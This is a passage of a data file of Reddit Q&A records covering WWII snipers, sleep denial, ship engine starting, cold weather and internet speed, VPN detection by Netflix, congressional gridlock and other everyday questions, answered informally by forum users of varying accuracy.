a sniper is left alone in a town occupied by hundreds or thousands of enemy soldiers, he will surely meet his demise if he starts shooting. How did they get snipers to engage in such suicidal behavior?\n\nWell, firstly, you could say it was not hard for the Japanese Empire. Their culture encouraged extreme loyalty to the Emperor, thus suicidal behaviour was not a rarity. \n\nIn the European Front: If you think about it, it is not so suicidal. Soldiers were particularly afraid of snipers, mostly due to the fact that they did not know where the shots were coming from. I am not certain what you have seen in the movies, but the **most important thing for a sniper was to not be found**. If he was found, he was dead. Enemy soldiers could either flank his position or counter snipe him. But it is hard to locate a sniper. After a sniper fired his shot and killed an enemy soldier, the remaining men would immediately fall to the ground, to avoid being killed, or they would run to cover, they **would not immediately run after the sniper**. How could they, if they didn't know where he was? Therefore the sniper had plenty of time to either abandon the area(more difficult is the town was fully occupied, but still not impossible, they were masters of stealth) **or** relocate. Relocation was a common tactic for snipers. They would constantly change position after firing a few shots to avoid being found. So you can see, this behaviour was not 'suicidal', since it wasn't easy to find them. \n\n(Okay after seeing your Band of Brothers scene, I have some comments. The movies were not that accurate, after all. \n\n1. You can see how soldiers quickly rush to cover after the sniper fires, **but** one would be foolish to stick his head out like that to try and find the sniper. That almost didn't happen, you just couldn't risk it. After everyone hides, the sniper is focusing at those corners. The second you stuck your head out...you were dead.\n\n2. Sniper hid themselves better than that. No self-respecting sniper sticks that close to the window and let the barrel of the gun stick out of the window. A passing enemy soldier can spot the barrel, hurl a grenade in the room and he's dead. Instead snipers fire from the center or the back of the room. Making it much more harder to spot them. \n\nNevertheless, there were cases when relocating or escaping was difficult or impossible for the sniper. There are instances when German snipers, after firing all their bullets or running out of food, they would simply give up and be taken prisoner.. So you can see they did not fight to the death. However they were not treated like other prisoners or war. \n\n >  Were captured snipers more likely to be poorly treated by their capturers than other POVs? This book[1] claims that soldiers \"have a special hatred for enemy snipers\" and that they might consequently be treated less humanely.\n\nYes, indeed, snipers were very much hated, not only by enemy soldiers, but by their fellow one as well. There were plenty of reasons for that: \n\n-Soldiers felt that snipers were not playing a fair game. The usual soldier can see the enemy soldier and vice versa. A shootout proceeds and the best one is the winner. The snipers, according to soldiers, were not playing by the book, by hiding and stalking their prey. \n\n-Soldiers were very afraid of them. Fear of snipers was second to fear of artillery shelling only. Watching your comrades getting their brains blown away around you and **not knowing where the fire was coming from** was particularly terrifying and this fear was turned into hatred whenever a sniper was caught. \n\n-They were hated even by their fellow soldiers because snipers were not usual soldiers. All the vulgar tasks of the usual soldier such as: digging(there was plenty of digging), pushing artillery or tanks when stuck in mud, clearing an area of corpses etc. A sniper was not expected to do all this. Snipers also were not very disciplined. The nature of their job required them to work independently, so the discipline that existed among soldiers, the fear when an officer screamed at you was lacking in snipers. Snipers were very much separated from regular soldiers. They operated alone or in small groups of 2 people and they were mostly out of the camp, in enemy territory, so there was not much chance for bonding. \n\nAll these factors made snipers hated by enemy soldiers and despised by even their fellow ones. \n\nBecause of that when snipers surrendered or were caught, they were treated much more roughly then common POWs. The case I mentioned above was not uncommon: a sniper surrendering when he ran out of food or ammunition **after** having picked off a few enemy soldiers. How can you expect the soldiers to treat this sniper with decency after he was picking off his comrades a few hours ago? \n\nBecause snipers often caused an advancing force to halt or slow down and because usually snipers would pick off high ranking officers, high ranking military men were not fond of snipers as well. As such they pulled a blind eye when they saw a sniper POW being treated roughly. \n\nHope that was helpful! ", "Related but (very) interesting is sniping during WWI - many of the other replies mention the two-man team, this wasn't something new that appeared in WWII, but rather was already commonplace in WWI.\n\nThe book \"Sniping in France\" by Major Hesketh-Prichard is a fascinating look at how sniping developed in a modern army. It's available free online, the following version includes all the text but is missing some of the pictures. There's a better version on Google Books somewhere, but I can't find the link:\n\n_URL_0_", "I've read accounts of both Germans and Japanese deploying what American forces seem to have referred to as \"machine gun snipers\" which deployed into areas that allied troops were about to occupy. In \"Here Is Your War,\" Ernie Pyle, the legendary war correspondent, writes about being harassed by such a soldier while trying to write his column. That was, as I recall, a German soldier in North Africa. Later, in the Pacific, he died in similar circumstances. \n\nHere's the writeup at the time: _URL_1_\nThe wiki page on Ernie Pyle says that the road he was hit on had been traveled safely quite a bit, so it sounds like the Japanese were operating behind the lines.\nOne of the soldiers there that day shared his recollections much later: _URL_0_\nThe later recollection indicates machine gun plus sniper. So, in summary, there's a bit of dispute as to whether it was a machine gun behaving in a role that soldiers at the time called sniping or a machine gun in concert with a sniper.", "Follow up question: I remember reading that one counter-sniper tactic used by the Allies was to use tanks to shell any building with snipers in it regardless of any civilians inside. This led to the civilian populace basically killing any German sniper that tried to use their building and throwing his body out the window to avoid being shelled. Is there any truth to this? ", "In the latter stages of the battle of Kokoda in the Pacific, Japanese snipers were sometimes left in trees to slow the Australian advance in situations that could be regarded as practically suicidal according to Peter Fitzimmon's book Kokoda"]}, "title_urls": [], "selftext_urls": ["http://books.google.is/books?id=j1Dm6EnU7mkC&amp;pg=PT137&amp;lpg=PT137&amp;dq=sniper+surrender&amp;source=bl&amp;ots=fcDkMPk3qS&amp;sig=1R4v8xKhxwhixcq-S9T2GHwJHII&amp;hl=en&amp;sa=X&amp;ei=DjjRUtq-OKaxsQSLzoGwDA&amp;ved=0CEcQ6AEwBg#v=onepage&amp;q=sniper%20surrender&amp;f=false", "http://www.youtube.com/watch?v=vgnkNH__-Q8"], "answers_urls": [[], [], ["http://home.swipnet.se/sniper/sniper/sniper.htm"], [], ["http://www.allworldwars.com/Sniping%20in%20France%20by%20Major%20Hesketh-Prichard.html"], ["http://www.woonsocketcall.com/node/1967", "http://www.military.com/HomePage/TitleHistories/1,10982,713069|768542,00.html"], [], []]}
{"q_id": "9qo09i", "title": "our initial reaction is an angry denial when someone accuses us of having fallen asleep.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9qo09i/eli5_our_initial_reaction_is_an_angry_denial_when/", "answers": {"a_id": ["e8ahyd1", "e8aiwp2", "e8ajj6r", "e8ak8sb", "e8akmb8", "e8alm62", "e8anjek", "e8ao2qr"], "score": [77, 37, 9, 9, 2, 37, 7, 3], "text": ["I suspect it's more social than anything. I don't think it's the case here in Eastern Canada. People do deny they fell asleep here, but it's not an angry response.\n\nWhy they deny it is a good question. Likely something to the effect of they're embarrassed they were caught drowsing off, or the implication whoever's company they were in was so boring they fell asleep.", "I notice this in my children when they were trying to stay awake, such as for a movie.  I think it is much less about the sleeping as the potential that they are being accused of failing to reach their goal, while they have no memory of actually sleeping.", "Might have something to do with the way it's presented as well. Accusations?\nIf it was a simple and empathetic, \"oh, you seem tired, would you like a pillow?\", I'm sure you wouldn't get an angry response", "It\u2019s associated with  babyhood (so kids deny it) AND aging and weakness so adults deny it too.", "I think, the angry response is because most of us associate sleep with laziness (which is totally incorrect). And when someone points out that we have fallen asleep, we tend to defend ourselves that we are not lazy.", "I always thought it was a simple social response.  You're supposed to be participating in something - be it a movie marathon, a board game, family night, guarding the North Gate against brigands, maintaining watch over a poorly infant, not burning the sunday roast, preventing a writer having an accident whilst visiting the consulate to handle some paperwork.\n\nBut you're asleep.  Obviously this wasn't important to you!!   \n\nAt some point in our evolutionary past we must have evolved the importance of fulfilling roles and duties and the consequences of neglecting them.   Aww man, cavedad! The fire has been forgotten and has gone out, wolves have eaten Simon, Chrissy and Sally... again...  This is your fault!  We will shun you, feed you only the rotten parts of mammoth foot, and refuse to let you come to the cinema with us on Fridays.\n\nSo maybe the natural defensive (rather than angry?) response is to ensure that your clan don't think that you were derelict in your duties?  \n\n\nLook I've responded quickly, with wit and maybe a little aggression, if I were asleep could I do that?", "How do you know the initial response of everyone is angry?", "Probably because the most common circumstances in which people are likely to comment on it are ones in which you either probably shouldn't have, or would prefer not to be thought of as having done so.\n\nAlthough I don't know about the \"angry\" part so much. That's probably more a characteristic of youth. My mother-in-law (and, increasingly, my wife) tend to simply say, \"No, I was just resting my eyes...\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "3tocem", "title": "How do the massive engines used in things like cruise ships start up?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3tocem/how_do_the_massive_engines_used_in_things_like/", "answers": {"a_id": ["cx8217x", "cx8k478"], "score": [21, 10], "text": ["Most big engines are started with compressed air through an impeller, like a larger version of the air guns  you use to put the wheel of your car on. They provide a great deal of torque for a short period of time, just what is needed to get a big engine running.", "It depends on the ship and size of the engine Pneumatic starter motors are used on ships with four stroke motors and on the generators, air is used to turn the impeller which is attached by a shaft to a gear that mates with the flywheel once up to speed compressed air is used to disengage the gear.\n For the big 2 stroke diesels where the stroke can be up to two meters and their operating speed is slow  < 200RPM this is impractical so compressed air is injected into the cylinders through air starting valve's in order of the firing sequence, this is controlled by an air distributor attached to the end of the camshaft. This gets the rotating assembly turning then fuel is added once it has built up some momentum to get it started.\n\nI'm an engineering cadet on an oil tanker"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "17pfbk", "title": "Does extreme cold affect internet speeds?", "selftext": "This may seem like a ridiculous question, but I live in MN (it was fifteen below this morning, without windchill) and it seems, as it often does when it is very cold, that the internet is more sluggish.  Is that even possible?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/17pfbk/does_extreme_cold_affect_internet_speeds/", "answers": {"a_id": ["c87mw5a", "c87mx4m", "c87oiji", "c87qiwu", "c87qox2", "c87r1hy", "c87x0z2"], "score": [230, 7, 36, 4, 2, 2, 2], "text": ["Theoretically, the cold could make the internet faster, as colder materials conduct electricity better (with the exception of semiconductors). In the case of an optical connection, light would travel slower in a cold material, because the cold material would be more dense. However, from a purely physical perspective, there's no way you would ever notice the difference. More likely everyone was stuck inside because of the cold so everyone was using the internet.", "Not directly, no.\n\nThere might well be infrastructure damage that could cause problems. There might also just be more people indoors using the available infrastructure. Heck, there could be logical issues that are more slowly dealt with because the people tasked with doing so are running late. If anything though the physical infrastructure would be (very, very, very) slightly faster.\n\nMy money is on the \"people using more data connections and from a more condensed area\" angle but I don't have any non-proprietary data to support this. We definitely do have significant inverse correlation for data use and temperature up here in Canada though and it is part of peak load predictions.", "If you are on cable, yes.  Signal flows through cable much better in the cold than in the heat.  At a certain point the signal gets too high and clips in the amplifiers out in the cold.  Think of a stereo turned all the way up.  It is not only louder, but also sounds like shit.  This clipping manifests as tv signal breaking up and internet losing speed and finally losing the connection altogether.  There is an agc circuit (automatic gain control) in the amps to counteract the temperature effect, but it is only really designed for a 50deg temp swing, not 130 like the extremes in MN.  So as it gets REALLY cold there are a lot of cable problems.\n\nsource - I am a cable line tech, in MN, and have been out working 6 nights out of the last 12 in the cold fixing the exact problem you are asking about...BTW, it is a LOT colder at 5am than in the afternoon.  Brr!!", "With DSL, the colder temperatures shrink the cable, and the freezing and thawing of water can cause connection issues.  Because DSL is over an analog signal, it's possible for the movement of the cable to cause different conditions where there's more noise, etc.  The software algorithms at your DSL modem and the DSLAM (DSL access multiplyer - the other end where your modem plugs into) which create and control that analog signal then have to retransmit packets more often or use less of the available bandwidth, which will reduce your speed.  \n\nWorst case scenario is the line is physically disconnected by the contracting of the wire or by ice damage - this is seen mostly in the late fall or early spring. \n\nIn the Summer squirrels are another major cause of outages.\n\n- I worked tech at a Mom-and-Pop ISP", "Many here state that yes, technically it would help electrical conductivity but you'd see no real difference to your speeds.  But from many years installing and supporting DSL connections, in the winter I can get your modem to link higher and stay stable on poor quality copper lines, than I can in the summer.  I'd often have long term customers call me in the winter to inch up their link speeds.", "A similar question was asked recently [here](_URL_0_).", "Maybe more people are inside on their computers, using up your bandwidth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.reddit.com/r/askscience/comments/175krg/how_cold_would_it_have_to_be_to_slow_data_packets/"], []]}
{"q_id": "2frw6b", "title": "how did talk show host oprah winfrey become so rich and powerful?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2frw6b/eli5_how_did_talk_show_host_oprah_winfrey_become/", "answers": {"a_id": ["ckc5xtt", "ckc61hr"], "score": [13, 18], "text": ["The same reason 50 Cent is still so rich and powerful years after he stepped out of the lime light.\n\nThey got their money, and instead of blowing it on stuff, they invested. They invested in outside sources, as well as in themselves. 50 Cent bought a large portion of Vitamin Water, Oprah created her own company.\n\nOprah's company isn't just for show either, it's the company behind numerous other shows like Rachael Ray, Dr Oz, Dr Phil, etc. Who were all people that made their names by appearing on her show.\n\nPlus it runs her network OWN (Oprah Winfrey Network), which obviously makes tonnes off of advertising.\n\nAll in all, she got a bit of stardom and instead of having her 15 seconds of fame, she ran with it and became what she is today.", "Oprah managed to very shrewdly work herself into a market that didn't have anything else like her. \n\nShe started as a really low-brow talkshow. Not quite as bad as Jerry Springer, but definitely one where the worst kinds of people would be featured. This built her an audience during a time when these shows were very popular.\n\nAs time went on, she evolved. She lost weight, and became an inspiration for a lot of folks. She converted her talk show into something more intelligent, and that spoke to a lot of people. Many people out there want to have some source of validation in their lives, and talk shows fulfill that need really well. \n\nDue to her very large audience, Oprah dominated ratings and really got to have everything her way. That business sense allowed her to build a financial empire rather than being controlled by producers who wouldn't care so much about the integrity of her show.\n\nOf course, there are a lot of oprah bashers out there that will chime in and talk shit about her, but even though she isn't perfect she at least tried to champion many causes that need more people to back them. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "23mqbv", "title": "Why don't antibiotics kill our mitochondria?", "selftext": "Since many antibiotics work on bacterial ribosomes (16S), and we have bacterial ribosomes in mitochondria, why don't our cells die along with the bacteria?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/23mqbv/why_dont_antibiotics_kill_our_mitochondria/", "answers": {"a_id": ["cgyiudb"], "score": [3], "text": ["Some actually do. Antibiotics can cause mitochondrial dysfunction, we just have enough of a functional reserve to be able to handle it. Many do cause oxidative stress and damage though. \n\nAs for why they don't kill all of them, there are many reasons:\n\n* Most Antibiotics don't penetrate cells very well to get to the mitochondria. \n\n* We have proteins (Like P-Glycoprotein) that pump drugs out of cells to prevent them from damaging our own cells\n\n* They lack some of the structures antibiotics target, such as a thicker outer peptidoglycan cell wall\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "41auq1", "title": "are we fishing at too high of a rate? are we going to run out of fish?", "selftext": "I remembered reading something along these lines earlier this month, but can't find the source. Do we not farm fish?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/41auq1/eli5_are_we_fishing_at_too_high_of_a_rate_are_we/", "answers": {"a_id": ["cz0w8fi", "cz0zgn4", "cz0zu4g", "cz15pqk", "cz15sqa", "cz15vw9", "cz18yo4"], "score": [21, 5, 4, 2, 5, 3, 2], "text": ["We are not going to fish every fish out of the sea. But if we overfish, stocks will fall and either all fishing becomes uneconomic or fish becomes very expensive.  \nYes we do farm some fish, but only a very small percentage of what we eat, and only certain types of fish are suitable for farming. Additionally much of the food fed to captive fish is made from fish-meal. So if the fish in the sea become expensive so will the fish-meal.", "Fish are going extinct.  Species by species.  In my area (central nj) the old timers talk about what fishing was like just one generation ago, there were more kinds, they were bigger, and there were more of them.  We are overfishing, and for some species it will mean the end.  You can find plenty of examples of fish that have come back from near extinction through regulation, but the trend is to destroy the ocean.  ", "It's similar to oil. We are not going to literally run out of every drop of oil on Earth, we will reach a point where the economic cost of extracting oil becomes so great, that it is ultimately worthless and another energy source will take over. Fishing is the same... We could not literally capture every fish in the oceans, but fishing could become incredible expensive to the point that seafood prices make it unattractive to buyers, and thus an alternative is consumed.", "Most countries employ environmental resource scientists to maintain stable fishing practices.", "Yes we are overfishing. Commercial cod fishing off New England basically destroyed the cod and other marine life. Laws were passed that allowed them to drag nets across breeding and feeding grounds that made it a slaughter. We need to learn from these mistakes and not allow marine life be destroyed and big corporations profit from it ", "One thing that hasn't been mentioned yet is the practice of bottom trawling.  In this practice a net is dropped behind a boat and dragged along the ocean floor.  The problem with this is that it there is a hatchery below the boat, the net will destroy it, leading to an overall decline in the population of fish.", "Its also been said that the future of food for humanity could be molluscs (mussels) because of the incredible reproduction rate, they filter feed on the oceans so they don't need to be fed and they aren't bad for the environment. So there's that"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "277k6i", "title": "what causes white hairs to appear and is there a way to prevent them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/277k6i/eli5_what_causes_white_hairs_to_appear_and_is/", "answers": {"a_id": ["chy5i1t"], "score": [5], "text": ["[Here is the most recent why?](_URL_0_)\n\nAs for prevention, no, not yet.  Some people go grey young, others when they are middle aged, and then others when they get old.  It doesn't mean that you are ageing faster, it just means that you are getting grey hairs.  Rock that look.  Own it.  I started going grey in my late teens, not one fuck has been given."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.telegraph.co.uk/science/10039767/Grey-hair-a-thing-of-the-past-after-scientists-discover-why-follicles-become-discoloured.html"]]}
{"q_id": "1vlbtu", "title": "how does a private university get created in the united states?", "selftext": "Not that I am planning to do it (although it is truly my dream!), but I am very interested in the process. Where does it begin? Where does the $$$ come from, is it all private or does the state also help funding it? What are the incentives for someone to invest in such things? If anyone could explain the process I would be very thankful! ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1vlbtu/eli5_how_does_a_private_university_get_created_in/", "answers": {"a_id": ["cetdika"], "score": [2], "text": ["It's like any business or non profit. One gets investors/donors"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "425mbp", "title": "What are symmetries?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/425mbp/what_are_symmetries/", "answers": {"a_id": ["cz7qxh5", "cz7u6ml"], "score": [26, 4], "text": ["**Short answer:** A thing is symmetric if it doesn't change under transformation. \n\n**Long answer:** The short answer was kinda technical, but I assure you there is an easy way to think of this. \n\n[Suppose you have a square centered at the origin and you rotate it 45 degrees.](_URL_0_) That rotation is an example of a transformation, and a square isn't symmetric to this specific transformation. Now, consider a circle centered at the origin. No matter how you rotate it, it's still just going to be a circle centered at the origin. This object is *really* symmetric. \n\nBasically, a 'transformation' is just something you do that changes your coordinates. \n\nIn physics, every symmetry predicts a conservation law - this is known as \"Noether's Theorem.\" This means that if you find something which is symmetric there must be something which stays the same (like the circle!). This makes sense - it means that there is a value that doesn't care about your coordinates.\n\nFor example, suppose you are doing an experiment on a table and you 'transform' your coordinates by sliding that table to the left or right, or forward or backwards. Should changing the position of the table change the result of the experiment? No! It tells us that any position is just as good as any other position. This 'translational symmetry' predicts that some quantity must be conserved in space. We call this quantity momentum.\n \nWhat about a transformation in time? In essence, what if we translate our *time* coordinate 5 hours to the future. If we do our experiment now and again in 5 hours we should get the same result both times. This is symmetry tells us that there is some quantity that is conserved in time - we call this energy.\n\n\nAnd one last easy one. What if we rotate our experiment table 90 degrees, so that it's facing the other wall. If we do the experiment again, of course we get the same result! This 'rotational symmetry' predicts there is a quantity conserved under rotational transformations. This is a quantity we call angular momentum. \n\nSo basically, you can think of symmetries like the mathematical origin of conservation laws!", "[Here](_URL_0_) is a recent related thread that might be helpful."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://i-technet.sec.s-msft.com/ko-kr/Dd756687.rotate_ovw(en-us,VS.85).png"], ["https://www.reddit.com/r/askscience/comments/3xixqp/particlequantum_physics_what_is_symmetry_in/"]]}
{"q_id": "603nmz", "title": "how does netflix and other services know i am using a vpn?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/603nmz/eli5_how_does_netflix_and_other_services_know_i/", "answers": {"a_id": ["df37ghx", "df37xrw", "df385ds", "df38duh", "df39nbf", "df3d32j", "df3feol", "df3g5us", "df3h5e6", "df3hh5u", "df3i0eh", "df3l1yl", "df3nar2", "df3zkj2", "df3zxdt"], "score": [41, 10, 14, 366, 181, 4, 138, 27, 2, 6, 20, 33, 2, 2, 2], "text": ["There is not an official way to determine if a remote user is using a VPN. However, services sometimes just block a range of IP addresses that they know to be connected with a popular VPN provider.", "Speculation, but they might record IP history with your ID.  If you bounce from Chicago to Malaysia a lot that's a pretty big red flag.", "They have IP range lists that they are constantly expanding. That's why some VPN's used to work with Netflix and others not. Until they expanded their lists and included more. The VPN I use used to work with Netflix until fairly recently. Then it just stopped.", "It's easy to determine which company owns which IP address. When you use a VPN your IP is changed from the one you are using with your ISP to the one you are using with your VPN.\n\nIf  your vpn provider own their own pool of up addresses then it's easy to just block all the ip's belonging to that company.\n\nIf your a smaller company and you are using your providers IP address pool then you are going to have to explain why you need so many IP's (IPv4 addresses are scarece these days, my provider charges me a premium for them basically so I only use what I need) or why you need to change them so often. That can you look very unfavourable and they might just drop you as a company completely. This game has already been played with email spam. So providers are always wondering why you want to change your servers IPs so often.\n\nNow IPv6 have a huge address space, but people like NetFlix will just blacklist the block of IPv6 addresses you have instead of just the single address (something very similar happened on Wikipedia recently, a single troll (we presume) was using T-mobile to vandalise Wikipedia, after a number of warnings and the like they just blocked the entire block of IPv6 addresses customers use to connect to the net from editing content on Wiki).\n\nNetFlix are contractually obliged to region lock certain content. So looking for patterns such as a large amount of content being served to a small range of IPs with many different logins looks fishy (if that's not a residential ISP) can flag those addresses for closer inspection, and then you wonder \"Why does this server siting in a datacenter login as 50 different NetFlix users and consume a fuck ton of content compared to the average user?\" Just block it and get the owner of the IP to come to you and ask for it to be unblocked.", "VPNs do not hide the fact that you are using one.\n\nThe way it works is you connect to the VPN and all your Internet traffic goes to that VPN, who then forwards it on your behalf, just like your home router. Instead of your ISP seeing all the IP addresses you connect to and sites seeing your IP address when you connect, they will see only the unidentifying VPN IP, which is why they are \"anonymous\". Most VPN providers have a set range of IP addresses. If your ISP or a site like Netflix can figure out these ranges (not really difficult), they know you are connected to a VPN. ", "Are you using a VPN provider?  I suspect Netflix has the most popular ones blocked / blacklisted.\n\nYou can set up your own VPN server on a computer you own (in the US) and then, when you are traveling, have your client VPN into that.  It will appear as if you are surfing from your VPN server and I suspect Netflix won't be able to detect the difference.  Setting up a VPN server of your own, if you have a machine in the US, is a little bit of a pain but maybe worth thinking about.  \n\nThis strategy *might* work from machines in AWS/GCP/etc...  You can certainly run a VPN server there but I wonder if Netflix is smart enough to block traffic from public cloud providers too?", "Former Netflix employee here, this is my moment. Often people would call in for tech support and forget they were using a VPN. When we would pull up their account info we could see both the country they signed up in, and the country they were streaming from, which could be a vacation or an out of state relative etc... \n\nThe dead giveaway was when they lived somewhere like Canada, and they asked about a show that was exclusive to somewhere like Australia. I could never call them out on it directly, but I could let them know that VPNs were against policy, and make note on the account.", "They know something is up when you connect from a nonexistent country like Australia or Finland.", "I am from South East Asia and the Netflix content in my country is really small, I have been using vpn's to stream content. Should I stop doing this?", "It's lame to say this but I went to a talk with the head of engineering for Netflix and I'm not comfortable sharing what he said(he asked us not to but we did not sign NDAs). That said they do much more than blacklist vpn's IPs and can actually tell your actual location without using your IP at all. They moved away from using IPs as a tell all a little while ago", "Imagine you are in first grade and this girl Stacey is really good friends with the teachers. She is a kiss-ass - drawing cute pictures of them, telling them how pretty they look - the full package. Now, you asked a teacher a question - when is the next test going to happen. Obviously, you are not as cool as Stacy so the teacher wouldn't answer you. However, you are smart, so you made Stacey ask instead of you and you got the answer you were looking for.\n\nThis type of thing happened a few times in a row, you told your friends about it and they started doing it as well. At some point the teachers realised what is happening so they stopped answering Stacey (some of you asking the teachers first and then making Stacey ask didn't help).\n\nOf course, if you have a friend that is being liked by the teachers AND he will ask questions only for you, then the teachers will never catch on what's happening.", "A lot of people are saying just IP address, but there's so much more that Netflix is able to do to detect VPN:\n\nThe big one, and most reliable way to tell is packet size. When you send any information over the internet, network equipment like routers break it up into small pieces called packets. Most networking equipment maintains the same size of packet when sending over the internet. Because VPNs need to add information to every packet, they automatically break up your actual packets into smaller than usual chunks to leave room for their own information. Netflix looks for this smaller chunk size. \n\nTypical VPN users tend to be more security and privacy concious than other users. Therefore, they have a high likelyhood of installing browser extensions such as ghostery, donottrack, adblock, and similar. They can build a fingerprint of these users, because they have enough of them. \n\nIt really isn't packet size, fingerprint, or IP range that they use, but rather a combination of all of them. Netflix and other large internet companies have so many users that the data they can collect and use from them is incredibly accurate. They have a complex system of algorithms that look at all the data and determine if you're a VPN user or not. \n", "Great responces in this thread. New question: how do we get around this? Is there a way to make your own VPN unknown to corporations and therefore unblockable, and if yes, how much does this cost?", "They use the same IP adresses and they have a list of the ones used the most and safely assume you are using one", "Very nice informative responses throughout.... Now is there  way to get around this?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "16hft9", "title": "is congress really that dysfunctional right now? what exactly is going on?", "selftext": "I've been hearing a lot about dysfunctionality in legislation, specifically between House Speaker John Boehner and President Barack Obama. Long story short, they don't agree on anything, and this has been a reoccurring issue since Obama's re-election. More recently, Republicans in the House even denied a fiscal cliff bill proposed by Boehner, a Republican himself. Basically Republicans are reluctant to reconcile to any agreement in fear of looking weak.\n\nSurely, disagreement is inevitable, and there is bound to be debate on legislation. But from what I've heard on NPR and MSNBC, these issues seem like a big deal. Is Congress truly at a dysfunctional point right now, or has this just been exaggerated to a large extent? How does it compare with past relationships in Congress? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/16hft9/eli5_is_congress_really_that_dysfunctional_right/", "answers": {"a_id": ["c7w26mk", "c7w2icp", "c7w37wp", "c7w4dwr", "c7w8qnl"], "score": [2, 4, 4, 306, 2], "text": ["I don't know the answer to most of your question. All I know is that the Republicans threaten to filibuster any bill that the President supports and then accuse him of being ineffectual. Nothing is getting done, there is no leadership anywhere to rise above this pettiness and offer real solutions. There is no compromise going on because the Republicans won't give anything up, it's their way or the highway basically. ", "First off, I'd try different news sources for some reference.\n\nI love NPR but they have liberal leanings, and MSNBC is really bad. I'm not saying to watch Fox News, but there are some good ones out there :)\n\nTo the meat of the matter. It's bad right now, there've been screw ups, but thus far Congress has (barely) managed to avoid total disaster. Congressional approval is at an all time low, below ten percent. \n\nBoth parties are to blame, but this humble redditor sides more with the democrats. The biggest issue is the Tea Party republicans. They hold different views than \"vanilla\" republicans, and often refuse to agree to more moderate proposals, creating discord within the Republican Party.\n\nThe issues you'll see in the future are another debt ceiling argument. The last time Congress debated over the debt ceiling, America had its credit rating downgraded. We'll also have another \"fiscal cliff\" debate around April", "This time of year is usually slow for congress, as the new members have all just been sworn in and things are only now getting underway. Since November, the congress has been in a 'lame duck' session, meaning that there's little impetus to get anything done since the outgoing members were about to leave and the new ones had yet to arrive. This is normal for election years.\n\nWhat makes it so bad just now are a number of related items:\n1) the debt ceiling problem, which is essentially a republican temper tantrum, placed a huge tax and spending plan creation deadline right after the election. I'm sure they expected that this would be ok because they figured their guys would win the elections and therefore they could put in place any plan they wanted.  \n2) republicans are unwilling to make compromises because libertarians and tea party republicans are willing to raise a fuss when they do, and bring extreme radicals to oppose them in republican primaries. It is more likely that they lose their jobs to the more fanatical side of their own party than that they lose the race to the democrat.  \n3) being in the minority and unwilling to compromise [see 2] has caused the filibuster [a rule that changes the size of majority necessary to pass legislation from 51% to 60% to be used in greater frequency than ever before. This not only stops laws from being passed, but also stops laws from being discussed, debated, amended, or sent into committee to be written. Filibuster can literally grind the gears of government to a halt.  \n4) since one house of congress is controlled by republicans, and the other by democrats, and since both houses need to pass a bill before it can be signed into law, the two sides can and have chosen to ignore bills passed by the other house entirely, preventing them from moving forward. In recent cases, the senate ignores resolutions from the house to ban all birth control and abortions, while the house ignores bills that would put people to work and engage the economy.\n\nAll of this deadlock has caused the president to need to issue several executive orders, which are like reinterpretations of existing laws that were already in place, or the creation of new rules that largely agree with existing law. The president is using this tool more often than many people are comfortable with, but in some cases, there may be no other way to address these topics with necessary haste.", "There is no real easy way to explain this; there are a lot of moving parts in our political system. Remember that politics is a product of the actions of literally millions of people - so cause and effect can be hard to discern. Our current situation is the result of multiple factors. First of all, you have the congressional makeup right now. In the senate, the democrats have control. In the house, it's the republicans; in particular though, these guys are really more obstinate and conservative republicans than in the past. How did we get here? Over the course of the last decade, the Bush years really shifted our country to the right. Even though his policies became unpopular later, his administration was really good at getting their agenda passed, so by the 2004 election, most congresspeople were neoconservative, establishment republicans. Pretty right wing, but old dogs who knew how to do business. By 2006 though, things had really begun to sour for Bush. It was a big year for democrats, and they took the house and senate. Then 2008 happened and Obama and more dems were swept in. So the dems had a big majority for a while, but they couldn't do anything with it, for two reasons - one is that their party is more diverse/divided on issues then the repubs, and the other was that the elections were more historic events (first black president) and commentaries on the current republicans then votes of approval for a super liberal agenda. So the dems had trouble getting a lot of work done, even though they owned congress. As a reaction to that lack of accomplishment, we had the tea party election of 2010. \n\nThe thing about the tea party is that they are kind of the 'last hurrah' of modern(2000's) republicanism. They come in on a big wave in 2010, take control of the house, and are ideologically united - with each other. So they are able to be a real force in congress since they are all on the same page. Their policies aren't really that popular with the country at large though, and demographically, the writing is on the wall for them. One thing a lot of political analysts took away from the 2012 election is that with the number of young women and latinos voting vs old white people, the electorate is going to become more liberal in future elections. Fortunately, it was a bit of luck for conservatives that this all happened in 2010, because every decade the US does a census, and state governments redraw the lines for voting districts. Since the repubs had control of MANY statehouses when this happened, they drew _**all the maps as favorable to them.**_ This is the most important part of this whole thing. Now a whole bunch of districts are reliably republican, but only in the sense that _A_ republican will win. Primary challenges actually drive these districts to be even MORE conservative then they have already been modified to be through the redistricting. So the result is a house that is much more conservative then the actual country they serve. These guys have no incentive to compromise either, because they set it up so that the only of their 